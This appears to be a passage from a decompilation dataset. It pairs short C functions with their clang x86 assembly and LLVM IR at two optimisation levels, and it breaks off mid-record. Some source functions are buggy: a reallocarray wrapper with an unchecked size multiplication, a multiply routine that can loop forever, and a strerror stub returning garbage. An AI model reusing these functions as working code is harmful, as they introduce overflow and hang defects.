xunge/DecIR huggingface dataset:
/* Type definitions */
struct eembed_allocator {
  int dummy;
};

/* Variables and functions */
void *realloc(void *, size_t);
void *eembed_system_reallocarray(struct eembed_allocator *ea, void *ptr,
                                 size_t nmemb, size_t size) {
  size_t len;
  (void)ea;
  len = nmemb * size;
  return len ? realloc(ptr, len) : NULL;
}


x86 assembly (clang, -O0):
<eembed_system_reallocarray>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
mov    -0x18(%rbp),%rax
imul   -0x20(%rbp),%rax
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
je     1156 <eembed_system_reallocarray+0x46>
mov    -0x10(%rbp),%rdi
mov    -0x28(%rbp),%rsi
call   1030 <realloc@plt>
mov    %rax,-0x30(%rbp)
jmp    1161 <eembed_system_reallocarray+0x51>
xor    %eax,%eax
mov    %rax,-0x30(%rbp)
jmp    1161 <eembed_system_reallocarray+0x51>
mov    -0x30(%rbp),%rax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<eembed_system_reallocarray>:
imul   %rcx,%rdx
test   %rdx,%rdx
je     1124 <eembed_system_reallocarray+0x14>
mov    %rsi,%rdi
mov    %rdx,%rsi
jmp    1030 <realloc@plt>
xor    %eax,%eax
ret

LLVM IR (-O0):
%struct.eembed_allocator = type { i32 }
define i8* @eembed_system_reallocarray(%struct.eembed_allocator* %0, i8* %1, i64 %2, i64 %3) {
%5 = alloca %struct.eembed_allocator*
%6 = alloca i8*
%7 = alloca i64
%8 = alloca i64
%9 = alloca i64
store %struct.eembed_allocator* %0, %struct.eembed_allocator** %5
store i8* %1, i8** %6
store i64 %2, i64* %7
store i64 %3, i64* %8
%10 = load %struct.eembed_allocator*, %struct.eembed_allocator** %5
%11 = load i64, i64* %7
%12 = load i64, i64* %8
%13 = mul i64 %11, %12
store i64 %13, i64* %9
%14 = load i64, i64* %9
%15 = icmp ne i64 %14, 0
br i1 %15, label %16, label %20
16: ; preds = %4
%17 = load i8*, i8** %6
%18 = load i64, i64* %9
%19 = call i8* @realloc(i8* %17, i64 %18)
br label %21
20: ; preds = %4
br label %21
21: ; preds = %20, %16
%22 = phi i8* [ %19, %16 ], [ null, %20 ]
ret i8* %22
}

LLVM IR (-O2):
%struct.eembed_allocator = type { i32 }
define noalias i8* @eembed_system_reallocarray(%struct.eembed_allocator* nocapture readnone %0, i8* nocapture %1, i64 %2, i64 %3) {
%5 = mul i64 %3, %2
%6 = icmp eq i64 %5, 0
br i1 %6, label %9, label %7
7: ; preds = %4
%8 = tail call i8* @realloc(i8* %1, i64 %5)
br label %9
9: ; preds = %4, %7
%10 = phi i8* [ %8, %7 ], [ null, %4 ]
ret i8* %10
}
/* Variables and functions */
int atoi(char const *);
int str_toint(const char *str) { return atoi(str); }


x86 assembly (clang, -O0):
<str_toint>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <atoi@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<str_toint>:
jmp    1030 <atoi@plt>

LLVM IR (-O0):
define i32 @str_toint(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 @atoi(i8* %3)
ret i32 %4
}

LLVM IR (-O2):
define i32 @str_toint(i8* nocapture %0) {
%2 = tail call i32 @atoi(i8* %0)
ret i32 %2
}
/* Type definitions */
typedef int /*<<< orphan*/ uint8_t;
typedef int /*<<< orphan*/ uint32_t;

/* Variables and functions */
void gpio_int_edge_clr(uint32_t *port, uint8_t pins) {
  port[0x41C / 4] |= pins;
}


x86 assembly (clang, -O0):
<gpio_int_edge_clr>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    -0xc(%rbp),%ecx
mov    -0x8(%rbp),%rax
or     0x41c(%rax),%ecx
mov    %ecx,0x41c(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<gpio_int_edge_clr>:
or     %esi,0x41c(%rdi)
ret

LLVM IR (-O0):
define void @gpio_int_edge_clr(i32* %0, i32 %1) {
%3 = alloca i32*
%4 = alloca i32
store i32* %0, i32** %3
store i32 %1, i32* %4
%5 = load i32, i32* %4
%6 = load i32*, i32** %3
%7 = getelementptr inbounds i32, i32* %6, i64 263
%8 = load i32, i32* %7
%9 = or i32 %8, %5
store i32 %9, i32* %7
ret void
}

LLVM IR (-O2):
define void @gpio_int_edge_clr(i32* nocapture %0, i32 %1) {
%3 = getelementptr inbounds i32, i32* %0, i64 263
%4 = load i32, i32* %3
%5 = or i32 %4, %1
store i32 %5, i32* %3
ret void
}
int powerof2(int ex) {
  int i, n = 1;
  for (i = 0; i < ex; i++)
    n *= 2;
  return (n);
}


x86 assembly (clang, -O0):
<powerof2>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
movl   $0x1,-0xc(%rbp)
movl   $0x0,-0x8(%rbp)
mov    -0x8(%rbp),%eax
cmp    -0x4(%rbp),%eax
jge    1138 <powerof2+0x38>
mov    -0xc(%rbp),%eax
shl    $0x1,%eax
mov    %eax,-0xc(%rbp)
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    1115 <powerof2+0x15>
mov    -0xc(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<powerof2>:
test   %edi,%edi
jle    1118 <powerof2+0x18>
lea    -0x1(%rdi),%eax
mov    %edi,%ecx
and    $0x7,%ecx
cmp    $0x7,%eax
jae    111e <powerof2+0x1e>
mov    $0x1,%eax
jmp    1138 <powerof2+0x38>
mov    $0x1,%eax
ret
and    $0xfffffff8,%edi
mov    $0x1,%eax
cs nopw 0x0(%rax,%rax,1)
shl    $0x8,%eax
add    $0xfffffff8,%edi
jne    1130 <powerof2+0x30>
test   %ecx,%ecx
je     1147 <powerof2+0x47>
nopl   0x0(%rax)
add    %eax,%eax
add    $0xffffffff,%ecx
jne    1140 <powerof2+0x40>
ret

LLVM IR (-O0):
define i32 @powerof2(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %2
store i32 1, i32* %4
store i32 0, i32* %3
br label %5
5: ; preds = %12, %1
%6 = load i32, i32* %3
%7 = load i32, i32* %2
%8 = icmp slt i32 %6, %7
br i1 %8, label %9, label %15
9: ; preds = %5
%10 = load i32, i32* %4
%11 = mul nsw i32 %10, 2
store i32 %11, i32* %4
br label %12
12: ; preds = %9
%13 = load i32, i32* %3
%14 = add nsw i32 %13, 1
store i32 %14, i32* %3
br label %5
15: ; preds = %5
%16 = load i32, i32* %4
ret i32 %16
}

LLVM IR (-O2):
define i32 @powerof2(i32 %0) {
%2 = icmp sgt i32 %0, 0
br i1 %2, label %3, label %25
3: ; preds = %1
%4 = add i32 %0, -1
%5 = and i32 %0, 7
%6 = icmp ult i32 %4, 7
br i1 %6, label %15, label %7
7: ; preds = %3
%8 = and i32 %0, -8
br label %9
9: ; preds = %9, %7
%10 = phi i32 [ 1, %7 ], [ %12, %9 ]
%11 = phi i32 [ 0, %7 ], [ %13, %9 ]
%12 = shl i32 %10, 8
%13 = add i32 %11, 8
%14 = icmp eq i32 %13, %8
br i1 %14, label %15, label %9
15: ; preds = %9, %3
%16 = phi i32 [ undef, %3 ], [ %12, %9 ]
%17 = phi i32 [ 1, %3 ], [ %12, %9 ]
%18 = icmp eq i32 %5, 0
br i1 %18, label %25, label %19
19: ; preds = %15, %19
%20 = phi i32 [ %22, %19 ], [ %17, %15 ]
%21 = phi i32 [ %23, %19 ], [ 0, %15 ]
%22 = shl nsw i32 %20, 1
%23 = add i32 %21, 1
%24 = icmp eq i32 %23, %5
br i1 %24, label %25, label %19
25: ; preds = %15, %19, %1
%26 = phi i32 [ 1, %1 ], [ %16, %15 ], [ %22, %19 ]
ret i32 %26
}
void RandomFunc(unsigned short input[1], unsigned short output[1]) {
  unsigned short state[1];
  unsigned short local1;
  {
    state[0UL] = input[0UL] + (unsigned short)2885;
    local1 = 0UL;
    while (local1 < 1UL) {
      if (state[0UL] > local1) {
      }
      if (state[0UL] == local1) {
      }
      local1 += 2UL;
    }
    output[0UL] = state[0UL] + 316086328UL;
  }
}


x86 assembly (clang, -O0):
<RandomFunc>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rax
movzwl (%rax),%eax
add    $0xb45,%eax
mov    %ax,-0x12(%rbp)
movw   $0x0,-0x14(%rbp)
movzwl -0x14(%rbp),%eax
cmp    $0x1,%rax
jae    116b <RandomFunc+0x6b>
movzwl -0x12(%rbp),%eax
movzwl -0x14(%rbp),%ecx
cmp    %ecx,%eax
jle    1145 <RandomFunc+0x45>
jmp    1145 <RandomFunc+0x45>
movzwl -0x12(%rbp),%eax
movzwl -0x14(%rbp),%ecx
cmp    %ecx,%eax
jne    115a <RandomFunc+0x5a>
jmp    115a <RandomFunc+0x5a>
movzwl -0x14(%rbp),%eax
add    $0x2,%rax
mov    %ax,-0x14(%rbp)
jmp    1122 <RandomFunc+0x22>
movzwl -0x12(%rbp),%eax
add    $0x12d71838,%rax
mov    %ax,%cx
mov    -0x10(%rbp),%rax
mov    %cx,(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<RandomFunc>:
movzwl (%rdi),%eax
add    $0x237d,%eax
mov    %ax,(%rsi)
ret

LLVM IR (-O0):
define void @RandomFunc(i16* %0, i16* %1) {
%3 = alloca i16*
%4 = alloca i16*
%5 = alloca [1 x i16]
%6 = alloca i16
store i16* %0, i16** %3
store i16* %1, i16** %4
%7 = load i16*, i16** %3
%8 = getelementptr inbounds i16, i16* %7, i64 0
%9 = load i16, i16* %8
%10 = zext i16 %9 to i32
%11 = add nsw i32 %10, 2885
%12 = trunc i32 %11 to i16
%13 = getelementptr inbounds [1 x i16], [1 x i16]* %5, i64 0, i64 0
store i16 %12, i16* %13
store i16 0, i16* %6
br label %14
14: ; preds = %34, %2
%15 = load i16, i16* %6
%16 = zext i16 %15 to i64
%17 = icmp ult i64 %16, 1
br i1 %17, label %18, label %39
18: ; preds = %14
%19 = getelementptr inbounds [1 x i16], [1 x i16]* %5, i64 0, i64 0
%20 = load i16, i16* %19
%21 = zext i16 %20 to i32
%22 = load i16, i16* %6
%23 = zext i16 %22 to i32
%24 = icmp sgt i32 %21, %23
br i1 %24, label %25, label %26
25: ; preds = %18
br label %26
26: ; preds = %25, %18
%27 = getelementptr inbounds [1 x i16], [1 x i16]* %5, i64 0, i64 0
%28 = load i16, i16* %27
%29 = zext i16 %28 to i32
%30 = load i16, i16* %6
%31 = zext i16 %30 to i32
%32 = icmp eq i32 %29, %31
br i1 %32, label %33, label %34
33: ; preds = %26
br label %34
34: ; preds = %33, %26
%35 = load i16, i16* %6
%36 = zext i16 %35 to i64
%37 = add i64 %36, 2
%38 = trunc i64 %37 to i16
store i16 %38, i16* %6
br label %14
39: ; preds = %14
%40 = getelementptr inbounds [1 x i16], [1 x i16]* %5, i64 0, i64 0
%41 = load i16, i16* %40
%42 = zext i16 %41 to i64
%43 = add i64 %42, 316086328
%44 = trunc i64 %43 to i16
%45 = load i16*, i16** %4
%46 = getelementptr inbounds i16, i16* %45, i64 0
store i16 %44, i16* %46
ret void
}

LLVM IR (-O2):
define void @RandomFunc(i16* nocapture %0, i16* nocapture writeonly %1) {
%3 = load i16, i16* %0
%4 = add i16 %3, 9085
store i16 %4, i16* %1
ret void
}
int os_rand(int *rand) { return -1; }


x86 assembly (clang, -O0):
<os_rand>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    $0xffffffff,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<os_rand>:
mov    $0xffffffff,%eax
ret

LLVM IR (-O0):
define i32 @os_rand(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
ret i32 -1
}

LLVM IR (-O2):
define i32 @os_rand(i32* nocapture readnone %0) {
ret i32 -1
}
void RandomFunc(unsigned long input[1], unsigned long output[1]) {
  unsigned long state[1];
  unsigned long local2;
  unsigned long local1;
  {
    state[0UL] = input[0UL] + 0xffffffffff660b45UL;
    local1 = 0UL;
    while (local1 < 0UL) {
      local2 = 0UL;
      while (local2 < 0UL) {
        state[0UL] += state[0UL];
        local2 += 2UL;
      }
      local1 += 2UL;
    }
    output[0UL] = state[0UL] + 36349851719828416UL;
  }
}


x86 assembly (clang, -O0):
<RandomFunc>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rax
mov    (%rax),%rax
add    $0xffffffffff660b45,%rax
mov    %rax,-0x18(%rbp)
movq   $0x0,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
jae    1171 <RandomFunc+0x71>
movq   $0x0,-0x20(%rbp)
cmpq   $0x0,-0x20(%rbp)
jae    1160 <RandomFunc+0x60>
mov    -0x18(%rbp),%rax
add    -0x18(%rbp),%rax
mov    %rax,-0x18(%rbp)
mov    -0x20(%rbp),%rax
add    $0x2,%rax
mov    %rax,-0x20(%rbp)
jmp    1138 <RandomFunc+0x38>
mov    -0x28(%rbp),%rax
add    $0x2,%rax
mov    %rax,-0x28(%rbp)
jmp    1125 <RandomFunc+0x25>
movabs $0x8123ff5f6603c0,%rcx
add    -0x18(%rbp),%rcx
mov    -0x10(%rbp),%rax
mov    %rcx,(%rax)
pop    %rbp
ret

x86 assembly (clang, -O2):
<RandomFunc>:
movabs $0x8123ff5ecc0f05,%rax
add    (%rdi),%rax
mov    %rax,(%rsi)
ret

LLVM IR (-O0):
define void @RandomFunc(i64* %0, i64* %1) {
%3 = alloca i64*
%4 = alloca i64*
%5 = alloca [1 x i64]
%6 = alloca i64
%7 = alloca i64
store i64* %0, i64** %3
store i64* %1, i64** %4
%8 = load i64*, i64** %3
%9 = getelementptr inbounds i64, i64* %8, i64 0
%10 = load i64, i64* %9
%11 = add i64 %10, -10089659
%12 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
store i64 %11, i64* %12
store i64 0, i64* %7
br label %13
13: ; preds = %28, %2
%14 = load i64, i64* %7
%15 = icmp ult i64 %14, 0
br i1 %15, label %16, label %31
16: ; preds = %13
store i64 0, i64* %6
br label %17
17: ; preds = %20, %16
%18 = load i64, i64* %6
%19 = icmp ult i64 %18, 0
br i1 %19, label %20, label %28
20: ; preds = %17
%21 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%22 = load i64, i64* %21
%23 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%24 = load i64, i64* %23
%25 = add i64 %24, %22
store i64 %25, i64* %23
%26 = load i64, i64* %6
%27 = add i64 %26, 2
store i64 %27, i64* %6
br label %17
28: ; preds = %17
%29 = load i64, i64* %7
%30 = add i64 %29, 2
store i64 %30, i64* %7
br label %13
31: ; preds = %13
%32 = getelementptr inbounds [1 x i64], [1 x i64]* %5, i64 0, i64 0
%33 = load i64, i64* %32
%34 = add i64 %33, 36349851719828416
%35 = load i64*, i64** %4
%36 = getelementptr inbounds i64, i64* %35, i64 0
store i64 %34, i64* %36
ret void
}

LLVM IR (-O2):
define void @RandomFunc(i64* nocapture %0, i64* nocapture writeonly %1) {
%3 = load i64, i64* %0
%4 = add i64 %3, 36349851709738757
store i64 %4, i64* %1
ret void
}
/* Variables and functions */
char *strrchr(char const *, int);
__attribute__((regparm(0))) char *(_win_strrchr)(const char *s, int c) {
  return strrchr(s, c);
}


x86 assembly (clang, -O0):
<_win_strrchr>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0xc(%rbp),%esi
call   1030 <strrchr@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<_win_strrchr>:
jmp    1030 <strrchr@plt>

LLVM IR (-O0):
define i8* @_win_strrchr(i8* %0, i32 %1) {
%3 = alloca i8*
%4 = alloca i32
store i8* %0, i8** %3
store i32 %1, i32* %4
%5 = load i8*, i8** %3
%6 = load i32, i32* %4
%7 = call i8* @strrchr(i8* %5, i32 %6)
ret i8* %7
}

LLVM IR (-O2):
define i8* @_win_strrchr(i8* %0, i32 %1) {
%3 = tail call i8* @strrchr(i8* dereferenceable(1) %0, i32 %1)
ret i8* %3
}
short __mulhi3(short a, short b) {
  int r;
  r = 0;
  while (a) {
    if (a & 1) {
      r += b;
      a >>= 1;
      b <<= 1;
    }
  }
  return r;
}


x86 assembly (clang, -O0):
<__mulhi3>:
push   %rbp
mov    %rsp,%rbp
mov    %si,%ax
mov    %di,%cx
mov    %cx,-0x2(%rbp)
mov    %ax,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
cmpw   $0x0,-0x2(%rbp)
je     1159 <__mulhi3+0x59>
movswl -0x2(%rbp),%eax
and    $0x1,%eax
cmp    $0x0,%eax
je     1154 <__mulhi3+0x54>
movswl -0x4(%rbp),%eax
add    -0x8(%rbp),%eax
mov    %eax,-0x8(%rbp)
movswl -0x2(%rbp),%eax
sar    $0x1,%eax
mov    %ax,-0x2(%rbp)
movswl -0x4(%rbp),%eax
shl    $0x1,%eax
mov    %ax,-0x4(%rbp)
jmp    1119 <__mulhi3+0x19>
mov    -0x8(%rbp),%eax
cwtl
pop    %rbp
ret

x86 assembly (clang, -O2):
<__mulhi3>:
xor    %eax,%eax
test   %di,%di
je     112a <__mulhi3+0x2a>
nopw   0x0(%rax,%rax,1)
test   $0x1,%dil
je     1130 <__mulhi3+0x30>
movzwl %si,%ecx
add    %ecx,%eax
movswl %di,%ecx
shr    %ecx
add    %esi,%esi
cmp    $0x2,%di
mov    %ecx,%edi
jae    1110 <__mulhi3+0x10>
ret
nopl   0x0(%rax,%rax,1)
jmp    1130 <__mulhi3+0x30>

LLVM IR (-O0):
define signext i16 @__mulhi3(i16 signext %0, i16 signext %1) {
%3 = alloca i16
%4 = alloca i16
%5 = alloca i32
store i16 %0, i16* %3
store i16 %1, i16* %4
store i32 0, i32* %5
br label %6
6: ; preds = %27, %2
%7 = load i16, i16* %3
%8 = icmp ne i16 %7, 0
br i1 %8, label %9, label %28
9: ; preds = %6
%10 = load i16, i16* %3
%11 = sext i16 %10 to i32
%12 = and i32 %11, 1
%13 = icmp ne i32 %12, 0
br i1 %13, label %14, label %27
14: ; preds = %9
%15 = load i16, i16* %4
%16 = sext i16 %15 to i32
%17 = load i32, i32* %5
%18 = add nsw i32 %17, %16
store i32 %18, i32* %5
%19 = load i16, i16* %3
%20 = sext i16 %19 to i32
%21 = ashr i32 %20, 1
%22 = trunc i32 %21 to i16
store i16 %22, i16* %3
%23 = load i16, i16* %4
%24 = sext i16 %23 to i32
%25 = shl i32 %24, 1
%26 = trunc i32 %25 to i16
store i16 %26, i16* %4
br label %27
27: ; preds = %14, %9
br label %6
28: ; preds = %6
%29 = load i32, i32* %5
%30 = trunc i32 %29 to i16
ret i16 %30
}

LLVM IR (-O2):
define signext i16 @__mulhi3(i16 signext %0, i16 signext %1) {
%3 = icmp eq i16 %0, 0
br i1 %3, label %19, label %10
4: ; preds = %10
%5 = zext i16 %12 to i32
%6 = add i32 %11, %5
%7 = ashr i16 %13, 1
%8 = shl i16 %12, 1
%9 = icmp ult i16 %13, 2
br i1 %9, label %17, label %10
10: ; preds = %2, %4
%11 = phi i32 [ %6, %4 ], [ 0, %2 ]
%12 = phi i16 [ %8, %4 ], [ %1, %2 ]
%13 = phi i16 [ %7, %4 ], [ %0, %2 ]
%14 = and i16 %13, 1
%15 = icmp eq i16 %14, 0
br i1 %15, label %16, label %4
16: ; preds = %10, %16
br label %16
17: ; preds = %4
%18 = trunc i32 %6 to i16
br label %19
19: ; preds = %17, %2
%20 = phi i16 [ 0, %2 ], [ %18, %17 ]
ret i16 %20
}
/* Variables and functions */
int /*<<< orphan*/ foo_constant();
int loop1_constant() {
  int k = 100;
  for (int i = 0; i < k; i++) {
    foo_constant();
  }
  return 0;
}


x86 assembly (clang, -O0):
<loop1_constant>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x64,-0x4(%rbp)
movl   $0x0,-0x8(%rbp)
mov    -0x8(%rbp),%eax
cmp    -0x4(%rbp),%eax
jge    1147 <loop1_constant+0x37>
mov    $0x0,%al
call   1030 <foo_constant@plt>
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    1126 <loop1_constant+0x16>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<loop1_constant>:
push   %rbx
mov    $0x64,%ebx
cs nopw 0x0(%rax,%rax,1)
xor    %eax,%eax
call   1030 <foo_constant@plt>
add    $0xffffffff,%ebx
jne    1120 <loop1_constant+0x10>
xor    %eax,%eax
pop    %rbx
ret

LLVM IR (-O0):
define i32 @loop1_constant() {
%1 = alloca i32
%2 = alloca i32
store i32 100, i32* %1
store i32 0, i32* %2
br label %3
3: ; preds = %9, %0
%4 = load i32, i32* %2
%5 = load i32, i32* %1
%6 = icmp slt i32 %4, %5
br i1 %6, label %7, label %12
7: ; preds = %3
%8 = call i32 (...) @foo_constant()
br label %9
9: ; preds = %7
%10 = load i32, i32* %2
%11 = add nsw i32 %10, 1
store i32 %11, i32* %2
br label %3
12: ; preds = %3
ret i32 0
}

LLVM IR (-O2):
define i32 @loop1_constant() {
br label %2
1: ; preds = %2
ret i32 0
2: ; preds = %0, %2
%3 = phi i32 [ 0, %0 ], [ %5, %2 ]
%4 = tail call i32 (...) @foo_constant()
%5 = add nuw nsw i32 %3, 1
%6 = icmp eq i32 %5, 100
br i1 %6, label %1, label %2
}
int _row(int square) { return square / 8; }


x86 assembly (clang, -O0):
<_row>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%eax
mov    $0x8,%ecx
cltd
idiv   %ecx
pop    %rbp
ret

x86 assembly (clang, -O2):
<_row>:
lea    0x7(%rdi),%eax
test   %edi,%edi
cmovns %edi,%eax
sar    $0x3,%eax
ret

LLVM IR (-O0):
define i32 @_row(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = sdiv i32 %3, 8
ret i32 %4
}

LLVM IR (-O2):
define i32 @_row(i32 %0) {
%2 = sdiv i32 %0, 8
ret i32 %2
}
/* Variables and functions */
int /*<<< orphan*/ fflush(int /*<<< orphan*/);
int /*<<< orphan*/ getchar();
int /*<<< orphan*/ printf(char *);
int /*<<< orphan*/ stdout;
void anykey() {
  printf("\nPress Any Key to Continue\n");
  fflush(stdout);
  getchar();
}


x86 assembly (clang, -O0):
<anykey>:
push   %rbp
mov    %rsp,%rbp
lea    0xec5(%rip),%rdi
call   1030 <printf@plt>
mov    0x2e99(%rip),%rax
mov    (%rax),%edi
call   1050 <fflush@plt>
mov    $0x0,%al
call   1040 <getchar@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<anykey>:
push   %rax
lea    0xec8(%rip),%rdi
call   1030 <puts@plt>
mov    0x2e9c(%rip),%rax
mov    (%rax),%edi
call   1050 <fflush@plt>
xor    %eax,%eax
pop    %rcx
jmp    1040 <getchar@plt>

LLVM IR (-O0):
@.str = [28 x i8] c"\0APress Any Key to Continue\0A\00"
@stdout = global i32 0
define void @anykey() {
%1 = call i32 @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str, i64 0, i64 0))
%2 = load i32, i32* @stdout
%3 = call i32 @fflush(i32 %2)
%4 = call i32 (...) @getchar()
ret void
}

LLVM IR (-O2):
@stdout = global i32 0
@str = [27 x i8] c"\0APress Any Key to Continue\00"
define void @anykey() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @str, i64 0, i64 0))
%2 = load i32, i32* @stdout
%3 = tail call i32 @fflush(i32 %2)
%4 = tail call i32 (...) @getchar()
ret void
}
/* Variables and functions */
scalar_t__ fork();
int /*<<< orphan*/ printf(char *);
int main(void) {
  printf("1\n");
  if (fork() > 0) {
    printf("2");
    printf("3");
  } else {
    printf("4");
    printf("5");
  }
  printf("\n");
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xeca(%rip),%rdi
call   1030 <printf@plt>
mov    $0x0,%al
call   1040 <fork@plt>
cmp    $0x0,%rax
jle    1169 <main+0x49>
lea    0xeb0(%rip),%rdi
call   1030 <printf@plt>
lea    0xea6(%rip),%rdi
call   1030 <printf@plt>
jmp    1181 <main+0x61>
lea    0xe97(%rip),%rdi
call   1030 <printf@plt>
lea    0xe8d(%rip),%rdi
call   1030 <printf@plt>
lea    0xe79(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
lea    0xec8(%rip),%rdi
call   1040 <puts@plt>
xor    %eax,%eax
call   1050 <fork@plt>
xor    %ecx,%ecx
test   %rax,%rax
setle  %cl
lea    (%rcx,%rcx,1),%edi
add    $0x32,%edi
lea    (%rcx,%rcx,1),%ebx
add    $0x33,%ebx
call   1030 <putchar@plt>
mov    %ebx,%edi
call   1030 <putchar@plt>
mov    $0xa,%edi
call   1030 <putchar@plt>
xor    %eax,%eax
pop    %rbx
ret

LLVM IR (-O0):
@.str = [3 x i8] c"1\0A\00"
@.str.1 = [2 x i8] c"2\00"
@.str.2 = [2 x i8] c"3\00"
@.str.3 = [2 x i8] c"4\00"
@.str.4 = [2 x i8] c"5\00"
@.str.5 = [2 x i8] c"\0A\00"
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i64 0, i64 0))
%3 = call i64 (...) @fork()
%4 = icmp sgt i64 %3, 0
br i1 %4, label %5, label %8
5: ; preds = %0
%6 = call i32 @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%7 = call i32 @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
br label %11
8: ; preds = %0
%9 = call i32 @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.3, i64 0, i64 0))
%10 = call i32 @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0))
br label %11
11: ; preds = %8, %5
%12 = call i32 @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@str = [2 x i8] c"1\00"
define i32 @main() {
%1 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([2 x i8], [2 x i8]* @str, i64 0, i64 0))
%2 = tail call i64 (...) @fork()
%3 = icmp sgt i64 %2, 0
%4 = select i1 %3, i32 50, i32 52
%5 = select i1 %3, i32 51, i32 53
%6 = tail call i32 @putchar(i32 %4)
%7 = tail call i32 @putchar(i32 %5)
%8 = tail call i32 @putchar(i32 10)
ret i32 0
}
/* Variables and functions */
int /*<<< orphan*/ check_background_blocking();
int /*<<< orphan*/ clean_up_varbuff();
int close_prompt() {
  check_background_blocking();
  clean_up_varbuff();
  return 0;
}


x86 assembly (clang, -O0):
<close_prompt>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <check_background_blocking@plt>
mov    $0x0,%al
call   1040 <clean_up_varbuff@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<close_prompt>:
push   %rax
xor    %eax,%eax
call   1030 <check_background_blocking@plt>
xor    %eax,%eax
call   1040 <clean_up_varbuff@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @close_prompt() {
%1 = call i32 (...) @check_background_blocking()
%2 = call i32 (...) @clean_up_varbuff()
ret i32 0
}

LLVM IR (-O2):
define i32 @close_prompt() {
%1 = tail call i32 (...) @check_background_blocking()
%2 = tail call i32 (...) @clean_up_varbuff()
ret i32 0
}
char *strerror(int n) {}


x86 assembly (clang, -O0):
<strerror>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0xc(%rbp)
mov    -0x8(%rbp),%rax
pop    %rbp
ret

x86 assembly (clang, -O2):
<strerror>:
ret

LLVM IR (-O0):
define i8* @strerror(i32 %0) {
%2 = alloca i8*
%3 = alloca i32
store i32 %0, i32* %3
%4 = load i8*, i8** %2
ret i8* %4
}

LLVM IR (-O2):
define noalias i8* @strerror(i32 %0) {
ret i8* undef
}
/* Variables and functions */
int __VERIFIER_nondet_int();
int main() {
  int i, j, N;
  N = __VERIFIER_nondet_int();
  i = N;
  while (i > 0) {
    j = N;
    while (j > 0) {
      j = j - 1;
    }
    i = i - 1;
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x0,%al
call   1030 <__VERIFIER_nondet_int@plt>
mov    %eax,-0x10(%rbp)
mov    -0x10(%rbp),%eax
mov    %eax,-0x8(%rbp)
cmpl   $0x0,-0x8(%rbp)
jle    1165 <main+0x55>
mov    -0x10(%rbp),%eax
mov    %eax,-0xc(%rbp)
cmpl   $0x0,-0xc(%rbp)
